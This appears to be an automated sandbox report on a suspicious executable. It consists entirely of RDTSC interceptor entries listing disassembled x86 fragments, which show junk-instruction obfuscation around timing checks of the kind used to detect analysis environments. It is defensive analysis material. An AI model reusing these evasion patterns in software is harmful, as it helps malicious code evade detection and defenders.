Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E558A7 second address: E558AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF569 second address: DEF59F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 je 00007FBA3CEC1176h 0x0000000b jl 00007FBA3CEC1176h 0x00000011 jmp 00007FBA3CEC117Ch 0x00000016 popad 0x00000017 jmp 00007FBA3CEC117Fh 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push esi 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF59F second address: DEF5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A5h 0x00000009 popad 0x0000000a jnl 00007FBA3CEC189Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF5C7 second address: DEF5D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FBA3CEC1176h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF5D3 second address: DEF5E2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF5E2 second address: DEF5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5460E second address: E54614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54614 second address: E5464A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBA3CEC1176h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBA3CEC1185h 0x00000012 jmp 00007FBA3CEC1184h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5464A second address: E54656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54656 second address: E5465C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5465C second address: E54662 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54BD5 second address: E54BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54BD9 second address: E54C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FBA3CEC1896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FBA3CEC18A8h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007FBA3CEC189Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54C08 second address: E54C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54C0C second address: E54C16 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBA3CEC18A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54C16 second address: E54C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54D32 second address: E54D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC189Eh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54D49 second address: E54D5B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FBA3CEC117Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF5C1 second address: DEF5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54EDE second address: E54EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55066 second address: E5507D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E551C0 second address: E551CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ADAA second address: E5ADB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ADB0 second address: E5ADB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ADB4 second address: E5ADB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ADB8 second address: E5ADBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A01F second address: E5A023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A1AA second address: E5A1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC1180h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A1BF second address: E5A1E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A1E8 second address: E5A1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A1EC second address: E5A1F9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A1F9 second address: E5A200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A64F second address: E5A685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBA3CEC18A8h 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A685 second address: E5A690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBA3CEC1176h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A690 second address: E5A69F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6F17 second address: DE6F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6F20 second address: DE6F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65EEC second address: E65EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65EF6 second address: E65F03 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6493C second address: E64940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64940 second address: E64946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64946 second address: E6494B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6494B second address: E64951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64951 second address: E6495C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64AC4 second address: E64ADF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBA3CEC1896h 0x00000008 jmp 00007FBA3CEC189Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64DB1 second address: E64DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64DB7 second address: E64DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64DBB second address: E64DCB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007FBA3CEC1176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64DCB second address: E64DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65057 second address: E6505E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6505E second address: E65069 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E651CF second address: E651D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E657B5 second address: E657D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBA3CEC189Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBA3CEC189Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65D91 second address: E65D95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65D95 second address: E65D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65D9B second address: E65DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE8E3 second address: DDE8E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B441 second address: E6B447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E805 second address: E6E80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E80B second address: E6E810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E810 second address: E6E83C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBA3CEC18A3h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FBA3CEC18A0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25F6F second address: E25FBF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b ja 00007FBA3CEC1176h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 jbe 00007FBA3CEC117Eh 0x0000001a push ecx 0x0000001b jng 00007FBA3CEC1176h 0x00000021 pop ecx 0x00000022 nop 0x00000023 add cx, 9191h 0x00000028 lea eax, dword ptr [ebp+1247ACD0h] 0x0000002e mov dl, C5h 0x00000030 mov edi, dword ptr [ebp+122D2E17h] 0x00000036 push eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FBA3CEC1186h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25FBF second address: E0CE71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1EEEh], eax 0x00000010 call dword ptr [ebp+122D308Ch] 0x00000016 pushad 0x00000017 jmp 00007FBA3CEC18A8h 0x0000001c jmp 00007FBA3CEC189Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 jmp 00007FBA3CEC189Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E263C9 second address: E263D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E263D3 second address: E263F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E263F5 second address: E263FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265C9 second address: E265D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265D3 second address: E265D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265D9 second address: E265DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265DD second address: E2661D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jg 00007FBA3CEC1182h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007FBA3CEC1176h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2661D second address: E26632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FBA3CEC1898h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26632 second address: E26638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26638 second address: E2663C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2663C second address: E26654 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov cl, ECh 0x0000000f push 5FD1C5DCh 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26755 second address: E26766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC189Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26766 second address: E2676C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2676C second address: E26770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26770 second address: E2678B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d mov cx, di 0x00000010 nop 0x00000011 jnp 00007FBA3CEC1184h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2678B second address: E267B0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBA3CEC18A8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2686C second address: E26870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26870 second address: E2689F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jne 00007FBA3CEC1896h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007FBA3CEC189Dh 0x0000001b push esi 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e pop esi 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2689F second address: E268A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26B0D second address: E26B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26F70 second address: E26FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FBA3CEC1178h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push eax 0x00000022 jmp 00007FBA3CEC1180h 0x00000027 pop edx 0x00000028 mov di, E9B6h 0x0000002c push 0000001Eh 0x0000002e mov dword ptr [ebp+1244F620h], edi 0x00000034 mov dl, cl 0x00000036 nop 0x00000037 push esi 0x00000038 jmp 00007FBA3CEC1182h 0x0000003d pop esi 0x0000003e push eax 0x0000003f pushad 0x00000040 jns 00007FBA3CEC1178h 0x00000046 pushad 0x00000047 jmp 00007FBA3CEC117Eh 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E270DE second address: E270E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D95C second address: E0D960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EB2C second address: E6EB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBA3CEC1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EB36 second address: E6EB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EF3D second address: E6EF74 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jbe 00007FBA3CEC1896h 0x00000011 jg 00007FBA3CEC1896h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007FBA3CEC18A3h 0x00000021 jbe 00007FBA3CEC18A8h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3C6 second address: E6F3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC1187h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3E2 second address: E6F402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A2h 0x00000009 jmp 00007FBA3CEC189Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F402 second address: E6F406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F406 second address: E6F41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FBA3CEC189Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F41E second address: E6F425 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F425 second address: E6F430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75394 second address: E7539A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7539A second address: E7539F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
